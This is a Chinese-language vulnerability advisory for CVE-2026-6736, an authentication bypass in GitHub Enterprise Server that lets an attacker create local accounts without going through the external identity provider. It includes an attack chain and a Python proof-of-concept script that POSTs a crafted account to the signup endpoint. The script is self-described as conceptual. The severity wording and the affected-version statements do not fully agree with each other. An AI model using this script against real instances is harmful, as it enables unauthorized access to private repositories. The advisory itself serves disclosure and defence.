IPBUF安全漏洞报告
English
CVE-2026-6736 CVSS 6.5 中危

CVE-2026-6736 GitHub Enterprise Server 认证绕过漏洞

披露日期: 2026-05-07

漏洞信息

漏洞编号
CVE-2026-6736
漏洞类型
认证绕过
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
GitHub Enterprise Server

相关标签

认证绕过GitHub Enterprise ServerCVE-2026-6736RCE权限提升

漏洞概述

GitHub Enterprise Server (GHES) 存在严重的认证绕过漏洞(CVE-2026-6736)。在配置了外部身份提供商的环境下,由于注册端点未能正确执行身份验证限制,未经身份验证的远程攻击者可利用此漏洞绕过 IdP 验证,直接创建本地用户账户并建立会话。成功利用后,攻击者将获得实例默认的基础权限,从而可能访问敏感数据。该漏洞影响 3.21 版本之前的所有 GHES 版本。

技术细节

该漏洞源于 GitHub Enterprise Server 在处理外部认证配置时的逻辑缺陷。具体而言,当管理员启用了外部身份提供商(IdP,如 SAML 或 LDAP)时,系统预期所有新用户的创建和登录均需经过 IdP 的验证。然而,GHES 的注册端点在实现上存在安全疏忽,未对请求来源进行严格的身份验证检查。攻击者无需经过 IdP 的交互流程,即可直接向注册接口发送特制的 HTTP POST 请求。服务器端错误地处理了该请求,绕过了外部认证机制,直接在本地数据库中创建了用户账户。该账户创建后被授予实例默认的基础权限,虽然不是管理员权限,但足以让攻击者访问内部代码仓库、窃取敏感信息或进行进一步的横向移动。此漏洞的利用条件仅为网络可达性,无需任何用户交互。

攻击链分析

STEP 1
侦察
攻击者识别出配置了外部身份提供商(IdP)的 GitHub Enterprise Server 实例,并确认其版本在受影响范围内。
STEP 2
漏洞利用
攻击者直接向 GHES 的注册端点发送特制的 HTTP POST 请求,包含用户注册信息。由于验证缺失,系统绕过了 IdP 认证流程。
STEP 3
建立会话
系统在本地数据库中创建了攻击者指定的账户,攻击者随即利用该账户凭据成功登录并建立有效会话。
STEP 4
后渗透行动
攻击者利用默认基础权限访问内部代码仓库、Issue 追踪信息等敏感数据,或尝试进行横向移动。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Exploit Title: GitHub Enterprise Server Authentication Bypass (CVE-2026-6736) # Description: This script attempts to create a local user account bypassing external auth. # Note: This is a conceptual PoC based on the vulnerability description. target_url = "https://<ghes-instance-host>/signup" # Payload to create a user payload = { "user": { "login": "attacker_user", "email": "[email protected]", "password": "StrongPassword123!", "password_confirmation": "StrongPassword123!" } } # Attempt to bypass authentication try: # Setting verify=False if the target uses a self-signed certificate response = requests.post(target_url, json=payload, verify=False) if response.status_code == 201 or response.status_code == 200: print("[+] Potential successful exploit: User created.") print(f"[+] Response: {response.text}") else: print(f"[-] Exploit failed or patched. Status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}")

影响范围

GitHub Enterprise Server < 3.16.18
GitHub Enterprise Server 3.17.x < 3.17.15
GitHub Enterprise Server 3.18.x < 3.18.9
GitHub Enterprise Server 3.19.x < 3.19.6
GitHub Enterprise Server 3.20.x < 3.20.2

防御指南

临时缓解措施
如果无法立即升级,建议管理员严密监控用户创建日志,关注任何未通过外部 IdP 验证而创建的本地用户。同时,可通过网络访问控制列表(ACL)限制对 GHES 实例的网络访问,仅允许可信 IP 地址连接,以降低被攻击的风险。

参考链接